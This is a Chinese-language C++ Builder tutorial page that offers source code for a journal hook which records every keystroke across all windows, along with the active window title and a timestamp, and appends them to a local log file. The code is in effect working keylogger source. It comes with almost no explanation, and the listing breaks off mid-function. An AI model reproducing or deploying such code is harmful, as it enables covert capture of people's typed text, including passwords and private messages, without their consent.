程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C++ >> 關於C++ >> 記錄鍵盤的動作和敲擊按鍵時的時間

記錄鍵盤的動作和敲擊按鍵時的時間

編輯:關於C++

日志鉤子代碼如下,你慢慢品味吧: 

//-----------.cpp文件
//---------------------------------------------------------------------------
#include <vcl.h>
#include <stdio.h>
#pragma hdrstop
#include "KeyHookU.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmLogHook *frmLogHook;
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
//鉤子變量
HHOOK g_hLogHook=NULL;
//記錄上一次得到焦點的窗口句柄
HWND g_hLastFocus=NULL;
//鍵盤掩碼變量
const int KeyPressMask=0x80000000;
//保存上一次按鍵值
//char g_PrvChar;
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
     : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)
{
     if(g_hLogHook==NULL)
         //安裝日志鉤子
         g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)
{
     if(g_hLogHook!=NULL)
     {
         UnhookWindowsHookEx(g_hLogHook);
         g_hLogHook=NULL;
     }
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
     if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
     if(iCode==HC_ACTION)
     {
         EVENTMSG* pEvt=(EVENTMSG*)lParam;
         int i;
         HWND hFocus;//保存當前活動窗口句柄
         char szTitle[256];//當前窗口名稱
         char szTime[128];//當前的日期和時間
         FILE* stream=fopen("h:\\usr\\logfile.txt","a+");
         if(pEvt->message==WM_KEYDOWN)
         {
             int vKey=LOBYTE(pEvt->paramL);//取得虛擬鍵值
             char ch;
             char str[10];
             hFocus=GetActiveWindow();
             if(g_hLastFocus!=hFocus)
             {
                 GetWindowText(hFocus,szTitle,256);
                 g_hLastFocus=hFocus;
                 strcpy(szTime,DateTimeToStr(Now()).c_str());
                 fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
                 fprintf(stream,"%c%c",32,32);
             }
             int iShift=GetKeyState(0x10);
             int iCapital=GetKeyState(0x14);
             int iNumLock=GetKeyState(0x90);
             bool bShift=(iShift&KeyPressMask)==KeyPressMask;
             bool bCapital=(iCapital&1)==1;
             bool bNumLock=(iNumLock&1)==1;
             /*
             if(vKey==9) //TAB
                 fprintf(stream,"%c",'\t');
             if(vKey==13) //回車鍵
                 fprintf(stream,"%c",'\n');
             */
             if(vKey>=48 && vKey<=57) //數字鍵0-9
             {
                 if(!bShift)
                     fprintf(stream,"%c",vKey);
                 else
                 {
                     switch(vKey)
                     {
                     case 49:
                         ch='!';
                         break;
                     case 50:
                         ch='@';
                         break;
                     case 51:
                         ch='#';
                         break;
                     case 52:
                         ch='$';
                         break;
                     case 53:
                         ch='%';
                         break;
                     case 54:
                         ch='^';
                         break;
                     case 55:
                         ch='&';
                         break;
                     case 56:
                         ch='*';
                         break;
                     case 57:
                         ch='(';
                         break;
                     case 48:
                         ch=')';
                         break;
                     }
                     fprintf(stream,"%c",ch);
                 }
             }
             if(vKey>=65 && vKey<=90) //A-Z a-z
             {
                 if(!bCapital)
                 {
                     if(bShift)
                         ch=vKey;
                     else
                         ch=vKey+32;
                 }
                 else if(bShift)
                     ch=vKey+32;
                 else
                     ch=vKey;
                 fprintf(stream,"%c",ch);
             }
             if(vKey>=96 && vKey<=105) //小鍵盤0-9
             {
                 if(bNumLock)
                     fprintf(stream,"%c",vKey-96+48);
             }
             if(vKey>=186 && vKey<=222) //其它鍵
             {
                 switch(vKey)
                 {
         case 186:
           if (!bShift) ch=';' ;
           else ch=':' ;
           break;
         case 187:
           if (!bShift) ch='=' ;
           else ch='+' ;
           break;
         case 188:
           if (!bShift) ch=',' ;
           else ch='<' ;
           break;
         case 189:
           if (!bShift) ch='-' ;
           else ch='_' ;
           break;
         case 190:
           if (!bShift) ch='.' ;
           else ch='>' ;
           break;
         case 191:
           if (!bShift) ch='/' ;
           else ch='?' ;
           break;
         case 192:
           if (!bShift) ch='`' ;
           else ch='~' ;
           break;
         case 219:
           if (!bShift) ch='[';
           else ch='{' ;
           break;
         case 220:
           if (!bShift) ch='\\' ;
           else ch='|' ;
           break;
         case 221:
           if (!bShift) ch=']';
           else ch='}' ;
           break;
         case 222:
           if (!bShift) ch='\'';
           else ch='\"' ;
           break;
         default:
           ch='n' ;
           break;
         }
         if (ch!='n' ) fprintf(stream,"%c",ch);
       } //
             if (vKey>=112 && vKey<=123) // 功能鍵 [F1]-[F12]
       {
                 switch(wParam)
                 {
                 case 112:
                     fprintf(stream,"%s","[F1]");
                     break;
                 case 113:
                     fprintf(stream,"%s","[F2]");
                     break;
                 case 114:
                     fprintf(stream,"%s","[F3]");
                     break;
                 case 115:
                     fprintf(stream,"%s","[F4]");
                     break;
                 case 116:
                     fprintf(stream,"%s","[F5]");
                     break;
                 case 117:
                     fprintf(stream,"%s","[F6]");
                     break;
                 case 118:
                     fprintf(stream,"%s","[F7]");
                     break;
                 case 119:
                     fprintf(stream,"%s","[F8]");
                     break;
                 case 120:
                     fprintf(stream,"%s","[F9]");
                     break;
                 case 121:
                     fprintf(stream,"%s","[F10]");
                     break;
                 case 122:
                     fprintf(stream,"%s","[F11]");
                     break;
                 case 123:
                     fprintf(stream,"%s","[F12]");
                     break;
                 }
             }
       if (vKey>=8 && vKey<=46) //方向鍵
       {
         switch (vKey)
         {
         case 8:
           strcpy(str,"[BK]");
           break;
         case 9:
           strcpy(str,"[TAB]");
           break;
         case 13:
           strcpy(str,"[EN]");
           break;
                 case 27:
                     strcpy(str,"[ESC]");
                     break;
         case 32:
           strcpy(str,"[SP]");
           break;
         case 33:
           strcpy(str,"[PU]");
           break;
         case 34:
           strcpy(str,"[PD]");
           break;
         case 35:
           strcpy(str,"[END]");
           break;
         case 36:
           strcpy(str,"[HOME]");
           break;
         case 37:
           strcpy(str,"[LF]");
           break;
         case 38:
           strcpy(str,"[UF]");
           break;
         case 39:
           strcpy(str,"[RF]");
           break;
         case 40:
           strcpy(str,"[DF]");
           break;
         case 45:
           strcpy(str,"[INS]");
           break;
         case 46:
           strcpy(str,"[DEL]");
           break;
           default:
           ch='n';
           break;
         }
         if (ch!='n' )
         {
           //if (g_PrvChar!=vKey)
           //{
             fprintf(stream,"%s",str);
           //  g_PrvChar=vKey;
           /

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved